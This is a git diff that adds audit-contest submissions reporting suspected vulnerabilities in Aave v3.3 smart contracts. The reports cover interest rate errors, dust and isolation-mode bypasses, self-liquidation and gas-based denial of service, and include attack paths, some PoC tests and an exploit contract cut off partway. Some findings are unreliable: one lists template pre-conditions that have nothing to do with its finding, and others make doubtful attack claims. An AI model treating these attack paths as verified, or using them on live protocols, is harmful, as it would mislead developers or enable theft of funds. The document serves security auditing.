debtReserveCache.nextScaledVariableDebt = IVariableDebtToken( + debtReserveCache.variableDebtTokenAddress + ).burn( + user, + hasNoCollateralLeft ? userReserveDebt : actualDebtToLiquidate, + debtReserveCache.nextVariableBorrowIndex + ); + } + ................................................................... + + if (outstandingDebt == 0) { + userConfig.setBorrowing(debtReserve.id, false); + } + +-> debtReserve.updateInterestRatesAndVirtualBalance( + debtReserveCache, + debtAsset, + actualDebtToLiquidate, + 0 + ); + } +``` + +As seen above, interest rates are updated when burning bad debt. For this burning, there is no transfer of the underlying token. However, interest rates are updated with `liquidityAdded = actualDebtToLiquidate > 0`, which is an error. + +## Internal pre-conditions +1. The user must have no collateral left. +2. The user must still have outstanding debt. + +## External pre-conditions +1. The protocol must call the `executeLiquidationCall` function. +2. The `userConfig` must indicate borrowing activity. + +## Attack Path +1. The protocol calls `executeLiquidationCall`. +2. The function checks for no collateral and outstanding debt. +3. The `_burnBadDebt` function is called. +4. The `_burnDebtTokens` function updates interest rates incorrectly. + +## Impact +The protocol suffers from incorrect interest rates, leading to an unexpected state. This can cause financial discrepancies and affect the overall stability of the protocol. + +## Mitigation +Modify the [`LiquidationLogic.sol#_burnBadDebt()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L691-L725) function as follows. + +```solidity + function _burnBadDebt( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + uint256 reservesCount, + address user + ) internal { + for (uint256 i; i < reservesCount; i++) { + if (!userConfig.isBorrowing(i)) { + continue; + } + + address reserveAddress = reservesList[i]; + if (reserveAddress == address(0)) { + continue; + } + + DataTypes.ReserveData storage currentReserve = reservesData[reserveAddress]; + DataTypes.ReserveCache memory reserveCache = currentReserve.cache(); + if (!reserveCache.reserveConfiguration.getActive()) continue; + + currentReserve.updateState(reserveCache); ++ uint256 debtAmount = IERC20(reserveCache.variableDebtTokenAddress).balanceOf(user); + + _burnDebtTokens( + reserveCache, + currentReserve, + userConfig, + user, + reserveAddress, +- IERC20(reserveCache.variableDebtTokenAddress).balanceOf(user), ++ debtAmount, + 0, + true + ); ++ IERC20(reserveAddress).safeTransferFrom(msg.sender, reserveCache.aTokenAddress, debtAmount); + } + } +``` diff --git a/117.md b/117.md new file mode 100644 index 0000000..0a2399b --- /dev/null +++ b/117.md @@ -0,0 +1,54 @@ +Shambolic Ginger Sparrow + +Medium + +# Malicious borrower can bypass `isolationModeDebtCeiling` by supplying only 1 wei as collateral + + +## Summary +The missing check of minimum supply amount will cause a broken isolation mode logic for the protocol as a malicious borrower will deposit only 1 wei as collateral to bypass `isolationModeDebtCeiling`. + +## Root Cause +- In [`ValidationLogic.sol#validateSupply()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L66-L88) function, there is not any check of minimum supply amount. +```solidity + function validateSupply( + DataTypes.ReserveCache memory reserveCache, + DataTypes.ReserveData storage reserve, + uint256 amount, + address onBehalfOf + ) internal view { + require(amount != 0, Errors.INVALID_AMOUNT); + + (bool isActive, bool isFrozen, , bool isPaused) = reserveCache.reserveConfiguration.getFlags(); + require(isActive, Errors.RESERVE_INACTIVE); + require(!isPaused, Errors.RESERVE_PAUSED); + require(!isFrozen, Errors.RESERVE_FROZEN); + require(onBehalfOf != reserveCache.aTokenAddress, Errors.SUPPLY_TO_ATOKEN); + + uint256 supplyCap = reserveCache.reserveConfiguration.getSupplyCap(); + require( + supplyCap == 0 || + ((IAToken(reserveCache.aTokenAddress).scaledTotalSupply() + + uint256(reserve.accruedToTreasury)).rayMul(reserveCache.nextLiquidityIndex) + amount) <= + supplyCap * (10 ** reserveCache.reserveConfiguration.getDecimals()), + Errors.SUPPLY_CAP_EXCEEDED + ); + } +``` +As we can see above, there is not any check of minimum supply amount. + +## Internal pre-conditions +1. Malicious borrower needs to supply exactly 1 wei as collateral. + +## External pre-conditions +1. The protocol must have isolation mode enabled. + +## Attack Path +1. Malicious borrower supplies 1 wei as collateral. +2. The borrower then proceeds to borrow assets, bypassing the `isolationModeDebtCeiling`. + +## Impact +The protocol suffers from broken isolation mode logic. + +## Mitigation +Add a check of minimum supply amount in `ValidationLogic.sol#validateSupply()` function. diff --git a/118.md b/118.md new file mode 100644 index 0000000..850f4ba --- /dev/null +++ b/118.md @@ -0,0 +1,61 @@ +Shambolic Ginger Sparrow + +Medium + +# Dust bad debt will increase protocol's loss + + +## Summary +The missing check of minimum borrow amount will cause bad debt for the protocol as dust debts will not be liquidated due to non-profitability for liquidators. + +## Root Cause +- In [`ValidationLogic.sol#validateBorrow()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L137-L278) function, there is no check of minimum borrow amount, leading to dust debt. +```solidity + function validateBorrow( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.ValidateBorrowParams memory params + ) internal view { + require(params.amount != 0, Errors.INVALID_AMOUNT); + + ValidateBorrowLocalVars memory vars; + + (vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.isPaused) = params + .reserveCache + .reserveConfiguration + .getFlags(); + + require(vars.isActive, Errors.RESERVE_INACTIVE); + require(!vars.isPaused, Errors.RESERVE_PAUSED); + require(!vars.isFrozen, Errors.RESERVE_FROZEN); + require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); + require( + !params.reserveCache.reserveConfiguration.getIsVirtualAccActive() || + IERC20(params.reserveCache.aTokenAddress).totalSupply() >= params.amount, + Errors.INVALID_AMOUNT + ); + ..................................... + } +``` +As we can see above, there is no check of minimum borrow amount. This will cause dust debt positions. But these positions will not be liquidated because of non-profitability for liquidators. + +## Internal pre-conditions +1. Admin needs to call `setFeeO` to set `fee` to be exactly `1 ETH` +2. `lendingRate` to be other than `1.0` +3. Number of ETH in `stake.sol` to go from `10 ETH` to `100 ETH` within 24 hours + +## External pre-conditions +1. ETH oracle needs to go from `4000` to `5000` within 2 minutes +2. Gas price needs to be exactly `100 wei` + +## Attack Path +1. User calls `validateBorrow` function without a minimum borrow amount check. +2. Dust debt positions are created. +3. Liquidators do not liquidate these positions due to non-profitability. + +## Impact +The protocol will suffer from dust bad debts. + +## Mitigation +Add a check of minimum borrow amount in `ValidationLogic.sol#validateBorrow()` function. diff --git a/119.md b/119.md new file mode 100644 index 0000000..ed32cce --- /dev/null +++ b/119.md @@ -0,0 +1,140 @@ +Shambolic Ginger Sparrow + +Medium + +# Missing state update will cause less `aToken` minted to treasury + + +## Summary +The missing state update in `PoolLogic.sol#executeMintToTreasury()` will cause less `aToken` minted to the treasury as the reserve's state is not updated. + +## Root Cause +- In [`PoolLogic.sol#executeMintToTreasury()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/PoolLogic.sol#L83-L108) function there is missing update of reserve's state. +```solidity + function executeMintToTreasury( + mapping(address => DataTypes.ReserveData) storage reservesData, + address[] calldata assets + ) external { + for (uint256 i = 0; i < assets.length; i++) { + address assetAddress = assets[i]; + + DataTypes.ReserveData storage reserve = reservesData[assetAddress]; + + // this cover both inactive reserves and invalid reserves since the flag will be 0 for both + if (!reserve.configuration.getActive()) { + continue; + } + + uint256 accruedToTreasury = reserve.accruedToTreasury; + + if (accruedToTreasury != 0) { + reserve.accruedToTreasury = 0; + uint256 normalizedIncome = reserve.getNormalizedIncome(); + uint256 amountToMint = accruedToTreasury.rayMul(normalizedIncome); + IAToken(reserve.aTokenAddress).mintToTreasury(amountToMint, normalizedIncome); + + emit MintedToTreasury(assetAddress, amountToMint); + } + } + } +``` +On the other hand, [`ReserveLogic.sol#updateState()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol) function is as follows. +```solidity + function updateState( + DataTypes.ReserveData storage reserve, + DataTypes.ReserveCache memory reserveCache + ) internal { + // If time didn't pass since last stored timestamp, skip state update + //solium-disable-next-line + if (reserveCache.reserveLastUpdateTimestamp == uint40(block.timestamp)) { + return; + } + + _updateIndexes(reserve, reserveCache); +-> _accrueToTreasury(reserve, reserveCache); + + //solium-disable-next-line + reserve.lastUpdateTimestamp = uint40(block.timestamp); + reserveCache.reserveLastUpdateTimestamp = uint40(block.timestamp); + } +``` +Here, [`ReserveLogic.sol#_accrueToTreasury()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L217-L243) function is as follows. +```solidity + function _accrueToTreasury( + DataTypes.ReserveData storage reserve, + DataTypes.ReserveCache memory reserveCache + ) internal { + if (reserveCache.reserveFactor == 0) { + return; + } + + //calculate the total variable debt at moment of the last interaction + uint256 prevTotalVariableDebt = reserveCache.currScaledVariableDebt.rayMul( + reserveCache.currVariableBorrowIndex + ); + + //calculate the new total variable debt after accumulation of the interest on the index + uint256 currTotalVariableDebt = reserveCache.currScaledVariableDebt.rayMul( + reserveCache.nextVariableBorrowIndex + ); + + //debt accrued is the sum of the current debt minus the sum of the debt at the last update + uint256 totalDebtAccrued = currTotalVariableDebt - prevTotalVariableDebt; + + uint256 amountToMint = totalDebtAccrued.percentMul(reserveCache.reserveFactor); + + if (amountToMint != 0) { +-> reserve.accruedToTreasury += amountToMint.rayDiv(reserveCache.nextLiquidityIndex).toUint128(); + } + } +``` +As we can see above, `PoolLogic.sol#executeMintToTreasury()` function does not mint full `aToken` to treasury because it missed updating state of reserve. + +## Internal pre-conditions +1. Admin needs to call `executeMintToTreasury()` without updating the reserve state. +2. `reserve.accruedToTreasury` to be other than `0`. + +## External pre-conditions +1. The `reserve` must have accrued interest that needs to be minted to the treasury. + +## Attack Path +1. Admin calls `executeMintToTreasury()` without updating the reserve state. +2. The function mints less `aToken` to the treasury due to the outdated state. + +## Impact +The protocol suffers from receiving less amount than available for the treasury. + +## Mitigation +The `Pool.sol#executeMintToTreasury()` function has to be modified as follows. +```solidity + function executeMintToTreasury( + mapping(address => DataTypes.ReserveData) storage reservesData, + address[] calldata assets + ) external { + for (uint256 i = 0; i < assets.length; i++) { + address assetAddress = assets[i]; + + DataTypes.ReserveData storage reserve = reservesData[assetAddress]; + + // this cover both inactive reserves and invalid reserves since the flag will be 0 for both + if (!reserve.configuration.getActive()) { + continue; + } + ++ DataTypes.ReserveCache memory reserveCache = reserve.cache(); ++ reserve.updateState(reserveCache); + + uint256 accruedToTreasury = reserve.accruedToTreasury; + + if (accruedToTreasury != 0) { + reserve.accruedToTreasury = 0; +- uint256 normalizedIncome = reserve.getNormalizedIncome(); ++ uint256 normalizedIncome = reserveCache.nextLiquidityIndex; + uint256 amountToMint = accruedToTreasury.rayMul(normalizedIncome); + IAToken(reserve.aTokenAddress).mintToTreasury(amountToMint, normalizedIncome); + + emit MintedToTreasury(assetAddress, amountToMint); + } + } + } +``` diff --git a/120.md b/120.md new file mode 100644 index 0000000..7f7787f --- /dev/null +++ b/120.md @@ -0,0 +1,103 @@ +Upbeat Amethyst Salmon + +Medium + +# makeWeb3safe - Dust Amount threshold vulnerability in`executeLiquidationCall` + +### Summary + +Inflexible dust thresholds will cause a denial of service for protocol liquidators as malicious borrowers will manipulate their position sizes to fall just below dust thresholds, preventing liquidation while ,aimtaining unsafe positions. + +### Root Cause + +The issues stems from the rigid implementation of dust thresholds in the liquidation function +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L325 +```javascript +if (vars.actualDebtToLiquidate < vars.userReserveDebt && + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount < vars.userCollateralBalance) { + bool isDebtMoreThanLeftoverThreshold = + ((vars.userReserveDebt - vars.actualDebtToLiquidate) * vars.debtAssetPrice) / + vars.debtAssetUnit >= MIN_LEFTOVER_BASE; //1000e8 + + bool isCollateralMoreThanLeftoverThreshold = + ((vars.userCollateralBalance - vars.actualCollateralToLiquidate - vars.liquidationProtocolFeeAmount) * + vars.collateralAssetPrice) / vars.collateralAssetUnit >= MIN_LEFTOVER_BASE; // 1000e8 + + require( + isDebtMoreThanLeftoverThreshold && isCollateralMoreThanLeftoverThreshold, + Errors.MUST_NOT_LEAVE_DUST + ); +} +``` +The core issues are: +1. Fixed MIN_LEFTOVER_BASE threshold regardless of market conditions +2. Both debt and collateral must meet threshold requirements +3. No fallback mechanism for positions trapped by dust checks + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +Initial setup: +```javascript +// Attacker creates position: +Position { + userCollateralBalance: 1.5 ETH @ $2000 = $3000 + userReserveDebt: 2000 USDC + healthFactor: 1.2 (healthy) + MIN_LEFTOVER_BASE: 1000e8 ($1000) +} +``` +Attack steps: +1. Monitor ETH price movement +2. When ETH price drops to $1600 +```javascript +Position { + userCollateralBalance: 1.5 ETH @ $1600 = $2400 + userReserveDebt: 2000 USDC + healthFactor: 0.96 (unhealthy) +} +``` +3. Attempt partial liquidation: +```javascript +liquidationAmount = 1100 USDC +// Would result in: +remainingDebt = 900 USDC (< MIN_LEFTOVER_BASE) +remainingCollateral = ~$1320 (> MIN_LEFTOVER_BASE) +// Transaction reverts due to dust threshold +``` +4. full liquidation checks: +- Not enough collateral value to fully liquidate +- Position becomes "unliquidatable" + + +### Impact + +Impact demonstration +```javascript +// Create multiple positions near threshold +Position { + userCollateralBalance: 1.5 ETH @ $1600 = $2400 + userReserveDebt: 2000 USDC + +} + + +// During market downturn: +totalGridlockedValue = 100 * 2000 = 200,000 USDC +// Protocol cannot liquidate these positions +``` + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/121.md b/121.md new file mode 100644 index 0000000..2033ce5 --- /dev/null +++ b/121.md @@ -0,0 +1,97 @@ +Curved Inky Ram + +Medium + +# Protocol allows users to liquidate their own undercollateralized positions. + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200 + +The current code allows users to liquidate their own undercollateralized positions. +There's no check to prevent a user (the borrower) from acting as the liquidator for themselves. Borrowers can intentionally become undercollateralized. They can then liquidate themselves and receive the liquidation bonus. This allows them to profit unfairly from the protocol, which is not the intended use of the liquidation system. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200 + + function executeLiquidationCall( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(address => DataTypes.UserConfigurationMap) storage usersConfig, + mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, + DataTypes.ExecuteLiquidationCallParams memory params + ) external { + LiquidationCallLocalVars memory vars; + + + DataTypes.ReserveData storage collateralReserve = reservesData[params.collateralAsset]; + DataTypes.ReserveData storage debtReserve = reservesData[params.debtAsset]; + DataTypes.UserConfigurationMap storage userConfig = usersConfig[params.user]; + vars.debtReserveCache = debtReserve.cache(); + debtReserve.updateState(vars.debtReserveCache); + + + ( + vars.totalCollateralInBaseCurrency, + vars.totalDebtInBaseCurrency, + , + , + vars.healthFactor, + + + ) = GenericLogic.calculateUserAccountData( + reservesData, + reservesList, + eModeCategories, + DataTypes.CalculateUserAccountDataParams({ + userConfig: userConfig, + reservesCount: params.reservesCount, + user: params.user, + oracle: params.priceOracle, + userEModeCategory: params.userEModeCategory + }) + ); + +The function does not check if the liquidator (msg.sender) is the same as the borrower (params.user). +This omission allows self-liquidation + +Example: +The user intentionally borrows close to their maximum limit or manipulates volatile collateral to reduce their Health Factor below 1 +The user calls executeLiquidationCall, passing their own address as the borrower (params.user). +The function processes the liquidation, and the user receives their own collateral back, plus the liquidation bonus. +The user gains extra assets through the bonus without any third-party involvement. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +Alice supplies 100 ETH worth of collateral and borrows 75 ETH worth of a stablecoin. +She manipulates the market or uses a volatile asset to decrease the value of her collateral, dropping her Health Factor below 1. +Alice then calls executeLiquidationCall, targeting herself as the borrower. +She repays part of her own debt. +Receives a portion of her collateral back, plus the liquidation bonus. +Effectively increases her net assets by the amount of the liquidation bonus + +### Impact + +The borrower profits from an action intended to penalize undercollateralization and incentivize third-party liquidators. +This undermines the economic incentives and risk mitigation mechanisms of the protocol. + +The liquidation bonus is designed as a reward for external liquidators to maintain the protocol's health. +Borrowers should not be able to benefit from their own liquidation. + +### PoC + +_No response_ + +### Mitigation + +Add a condition in the executeLiquidationCall function to prevent self-liquidation. diff --git a/122.md b/122.md new file mode 100644 index 0000000..39f2c54 --- /dev/null +++ b/122.md @@ -0,0 +1,79 @@ +Curved Inky Ram + +Medium + +# The assumption that users cannot borrow more than the available liquidity in the reserve can be broken + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L152C4-L166C7 + +The validateBorrow function is responsible for validating borrow actions in the protocol. It ensures that all conditions are met before allowing a user to borrow assets. One of the key validations is that the amount being borrowed does not exceed the reserve's available liquidity.A user cannot borrow more assets than what is available in the reserve. When virtual accounting is disabled, the validateBorrow function does not properly enforce this restriction, allowing users to borrow more than the reserve’s available liquidity. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L152C4-L166C7 + + require(vars.isActive, Errors.RESERVE_INACTIVE); + require(!vars.isPaused, Errors.RESERVE_PAUSED); + require(!vars.isFrozen, Errors.RESERVE_FROZEN); + require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); + require( + !params.reserveCache.reserveConfiguration.getIsVirtualAccActive() || + IERC20(params.reserveCache.aTokenAddress).totalSupply() >= params.amount, + Errors.INVALID_AMOUNT + ); + + + require( + params.priceOracleSentinel == address(0) || + IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), + Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED + ); + +The condition is intended to ensure that when virtual accounting is active, the total supply of aTokens (which represents the reserve's liquidity) is sufficient to cover the borrow amount. +The logical OR operator || means that if virtual accounting is not active, the condition passes without checking the available liquidity. + +When virtual accounting is disabled (getIsVirtualAccActive() returns false), the left side of the || operator evaluates to true, causing the entire condition to pass regardless of the right side. +This means the protocol does not check if there is sufficient liquidity when virtual accounting is disabled. +Users can borrow any amount, even exceeding the reserve's available liquidity. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +A reserve has virtual accounting disabled. +Available liquidity in the reserve: 100 tokens. +A user attempts to borrow: 150 tokens. + +The condition in validateBorrow simplifies as follows: + +!false || /* right side not evaluated */ +Since !false is true, the entire condition passes without evaluating the right side. + +The user is allowed to borrow 150 tokens, even though only 100 tokens are available. +This overdraws the reserve by 50 tokens. + +### Impact + +Overdrawing reserves can lead to insolvency, as the protocol might owe more assets than it holds. +Malicious users will exploit this flaw to drain the reserves, leading to systemic risks. + + +### PoC + +_No response_ + +### Mitigation + +require( + IERC20(params.reserveCache.aTokenAddress).balanceOf(params.reserveCache.aTokenAddress) >= params.amount, + Errors.INVALID_AMOUNT +); + diff --git a/123.md b/123.md new file mode 100644 index 0000000..d706c6b --- /dev/null +++ b/123.md @@ -0,0 +1,69 @@ +Fast Scarlet Beaver + +Medium + +# Malicious actors cause denial of service affecting protocol users + +### Summary + +External calls within loops in `getAllReservesTokens()` and `getAllATokens()` will cause denial of service for protocol users as attackers will manipulate the number of reserves to make these functions prohibitively expensive to call. + + +### Root Cause + +In src/contracts/helpers/AaveProtocolDataProvider.sol#61-73 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L61-L73) the implementation makes external calls to `IERC20Detailed(aTokenAddress).symbol()` inside a loop without any limitation on the loop size + + +### Internal Pre-conditions + +1. Protocol admin needs to approve and add number of reserves to be at least 50 +2. User needs to call `getAllReservesTokens()` or `getAllATokens()` to trigger the expensive loops + + +### External Pre-conditions + +1. Network gas price needs to be at least average to make the attack economically viable +2. ERC20 tokens `symbol()` functions must be accessible + + +### Attack Path + +1. Attacker monitors the number of reserves in the protocol +2. Attacker waits until sufficient number of reserves are added to make loops expensive +3. When critical operations depend on these view functions, attacker spams network to increase gas prices +4. View functions become too expensive to call, disrupting protocol operations + + +### Impact + +1. The protocol users cannot execute operations that depend on `getAllReservesTokens()` or `getAllATokens()` +2. The protocol suffers operational disruption and potential reputational damage +3. No direct financial loss but indirect costs from failed operations and high gas fees + + +### PoC + +```solidity +function testDOSWithManyReserves() public { + // Add many reserves to make loops expensive + for(uint i = 0; i < 50; i++) { + MockToken token = new MockToken(string(abi.encodePacked("TKN", i + 5))); + MockToken aToken = new MockToken(string(abi.encodePacked("aTKN", i + 5))); + pool.addReserve(address(token), address(aToken)); + } + + // Measure gas + uint gasBefore = gasleft(); + dataProvider.getAllATokens(); + uint gasUsed = gasBefore - gasleft(); + + console.log("Gas used:", gasUsed); + assertTrue(gasUsed > 5000000, "Function should consume significant gas"); +} +``` + +### Mitigation + +1. Implement pagination for `getAllReservesTokens()` and `getAllATokens()` +2. Cache token symbols during reserve registration +3. Add circuit breakers for gas consumption \ No newline at end of file diff --git a/124.md b/124.md new file mode 100644 index 0000000..1ea22b5 --- /dev/null +++ b/124.md @@ -0,0 +1,82 @@ +Fast Scarlet Beaver + +High + +# Malicious actors will cause economic damage through view function manipulation affecting user positions + +### Summary + +The external calls loop vulnerability will cause financial losses for users as attackers can manipulate view functions during critical market conditions to block liquidations and exploit price movements. + + +### Root Cause + +In src/contracts/helpers/AaveProtocolDataProvider.sol#39-58 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L39-L58) the choice to make uncached external calls in view functions is a mistake as these functions are critical for liquidation and borrowing operations + + +### Internal Pre-conditions + +1. User position needs to action collateral ratio to be at most liquidation threshold +2. Market price needs to change position value to go from safe to unsafe within 1 block + + +### External Pre-conditions + +1. Market conditions need to be volatile enough to make liquidations profitable +2. At least one reserve token must be controlled by the attacker + + +### Attack Path + +1. Attacker deploys malicious token and gets it listed as reserve +2. Attacker monitors for liquidatable positions +3. When found, attacker toggles their token's symbol() function to revert +4. Legitimate liquidators fail to execute liquidations due to view function failures +5. Attacker manipulates price while others are blocked +6. Attacker restores token functionality and liquidates at better price + +### Impact + +1. The affected users suffer losses of up to 100% of their liquidation bonus +2. The attacker gains the difference between normal liquidation bonus and manipulated price +3. Example: For a $100,000 position with 10% liquidation bonus, attacker could gain extra $5,000-$10,000 through price manipulation + + + +### PoC + +```solidity +function testLiquidationBlockingAttack() public { + // Setup liquidation scenario + pool.setPrice(address(maliciousToken), 100 ether); + pool.isLiquidatable = true; + + // Simulate market conditions where liquidation should happen + vm.prank(victim); + assertTrue(pool.checkLiquidation(), "Should be liquidatable"); + + // Attacker blocks liquidation by making view function fail + vm.prank(attacker); + maliciousToken.toggleRevert(); + + // Liquidation check fails due to view function failure + vm.prank(victim); + vm.expectRevert(); + pool.checkLiquidation(); + + // Attacker manipulates price + pool.setPrice(address(maliciousToken), 90 ether); + + // Restore state and liquidate at favorable price + maliciousToken.toggleRevert(); + vm.prank(attacker); + assertTrue(pool.checkLiquidation(), "Attacker can liquidate"); +} +``` + +### Mitigation + +1. Implement view function result caching +2. Add circuit breakers for suspicious token behavior +3. Separate critical operations from view function dependencies +4. Implement priority lanes for liquidations \ No newline at end of file diff --git a/125.md b/125.md new file mode 100644 index 0000000..9e5b7cb --- /dev/null +++ b/125.md @@ -0,0 +1,57 @@ +Jumpy Teal Penguin + +Medium + +# borrower can bypass bad debt protection by depositing very small amounts of collateral in reserve + +### Summary + +a borrower can grief the system by depositing dust in a reserve as collateral, +eg the user purposely deposits 3 usd worth of collateral in a reserve +if the borrowers position is in bad debt and is being liquidated, because the users total collateral would not match collateral in liquidated reserve, the user debt technically cannot be included in the reserves deficit but realistically, the debt would not be repaid and its not economical for liquidators to liquidate the remaining collateral +leaving the remaining debt continuing to accrue interest + +### Root Cause + +1. liquidations only work with one collateral reserve at a time +2. There is no minimum aToken balance a user could have in a reserve +3. a borrower must have lost all collateral before the bad debt removal functionality can work + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +the borrower would be left with dust collateral and debt that cannot be covered via the eliminate deficit functionality defeating the purpose of the upgrade + +### PoC + +in base currency +bob has +3000 debt +2700 in reserve a +3 in reserve b + +bob would lose his entire 2700 position when reserve a is liquidated but because 2703 != 2700 , the system will not attempt to add bobs debt to the reserves deficit + +### Mitigation + +1. open up possibilities for the liquidator to collect tokens from more than one reserve if the borrowers collateral in that reserve is at a range where it would no longer be profitable to liquidate that reserve on its own, the MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD which was included in this update could also be used +eg +bob has 7000 debt in base currency +6000 as collateral in reserve a +100 as collateral in reserve b + +rather than the liquidator only being get collateral from reserve a, they could also get the collateral from reserve b in the same call +this is not exactly profitable for the liquidator either as the bonus from the 100 would likely not be able to cover the gas costs but it would still be better than liquidating the 100 reserve individually and should increase the likelihood of liquidators wanting to clean up the position even if it might mean less profit from them + +2. implement a clean up functionality for positions with bad health factor and only dust collateral left to be immediately included in the deficit and the protocol can claim whatever little collateral they have \ No newline at end of file diff --git a/126.md b/126.md new file mode 100644 index 0000000..959315e --- /dev/null +++ b/126.md @@ -0,0 +1,72 @@ +Fast Scarlet Beaver + +Medium + +# Developers will miss critical state changes due to ignored return values + +### Summary + +Ignoring return values from `configuration.getFlags()` will cause potential oversight of critical protocol states for users as developers will miss important flag changes in the `AaveProtocolDataProvider` contract. + + +### Root Cause + +In src/contracts/helpers/AaveProtocolDataProvider.sol#101 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L101) the return values from `configuration.getFlags()` are partially ignored, which could lead to missing important state changes + + + +### Internal Pre-conditions + +1. The `AaveProtocolDataProvider` contract needs to call `getReserveConfigurationData` +2. The `configuration.getFlags()` function returns multiple values that need to be properly handled + + +### External Pre-conditions + + + + +### Attack Path + +1. The `getReserveConfigurationData` function is called +2. `configuration.getFlags()` returns multiple values +3. Some return values are ignored in the assignment +4. Important state changes might be missed due to incomplete handling of return values + + +### Impact + +The protocol might operate with incomplete or incorrect state information, leading to incorrect decisions about reserve configurations + + + +### PoC + +```solidity +function getReserveConfigurationData(address asset) + external + view + override + returns ( + uint256 decimals, + uint256 ltv, + uint256 liquidationThreshold, + uint256 liquidationBonus, + uint256 reserveFactor, + bool usageAsCollateralEnabled, + bool borrowingEnabled, + bool stableBorrowRateEnabled, + bool isActive, + bool isFrozen + ) { + DataTypes.ReserveConfigurationMap memory configuration = pool.getConfiguration(asset); + (isActive, isFrozen, borrowingEnabled,) = configuration.getFlags(); // Here the fourth return value is ignored + // ... rest of the function +} +``` + +### Mitigation + +1. Properly handle all return values from `configuration.getFlags()` +2. If some values are intentionally ignored, document why they can be safely ignored +3. Consider using structured returns or explicit variable assignments for better clarity \ No newline at end of file diff --git a/127.md b/127.md new file mode 100644 index 0000000..d153ea3 --- /dev/null +++ b/127.md @@ -0,0 +1,90 @@ +Fast Scarlet Beaver + +High + +# Malicious users can exploit interest rate inconsistency affecting protocol solvency + +### Summary + +Ignoring `stableBorrowRateEnabled` flag can cause significant economic damage to the protocol as malicious users exploit interest rate arbitrage when stable and variable rates become misaligned + + +### Root Cause + +In src/contracts/helpers/AaveProtocolDataProvider.sol#101 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L101) the `stableBorrowRateEnabled` flag from `configuration.getFlags()` is ignored, which can lead to incorrect interest rate mode decisions + + + + +### Internal Pre-conditions + +1. `AaveProtocolDataProvider` needs to have `stableBorrowRateEnabled` flag ignored in `getFlags()` return values +2. The market conditions need to create a significant spread between stable and variable rates +3. Users need to have sufficient collateral to borrow large amounts + + +### External Pre-conditions + +Market volatility causes variable rates to move significantly + +### Attack Path + +1. Attacker monitors the actual `stableBorrowRateEnabled` status through direct contract calls +2. When stable rates are significantly lower than variable rates but should be disabled: + a. Attacker borrows large amounts using stable rate when UI/integration shows it should be impossible + b. Interest rates continue to diverge due to market conditions +3. Attacker later refinances to variable rate when profitable +4. Repeats the process across multiple assets + +### Impact + +1. The protocol suffers significant losses due to interest rate arbitrage, estimated around 2-5% APY loss on affected assets +2. Users face increased borrowing costs as the protocol tries to rebalance rates +3. The protocol's economic model becomes unstable + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import {IPool} from "@aave/core-v3/contracts/interfaces/IPool.sol"; +import {IPoolAddressesProvider} from "@aave/core-v3/contracts/interfaces/IPoolAddressesProvider.sol"; +import {DataTypes} from "@aave/core-v3/contracts/protocol/libraries/types/DataTypes.sol"; + +contract AaveInterestExploit { + IPool public pool; + address public constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + + constructor(address _addressProvider) { + pool = IPool(IPoolAddressesProvider(_addressProvider).getPool()); + } + + function exploitInterestRates(uint256 amount) external { + // Step 1: Borrow with stable rate when it should be disabled + pool.borrow( + 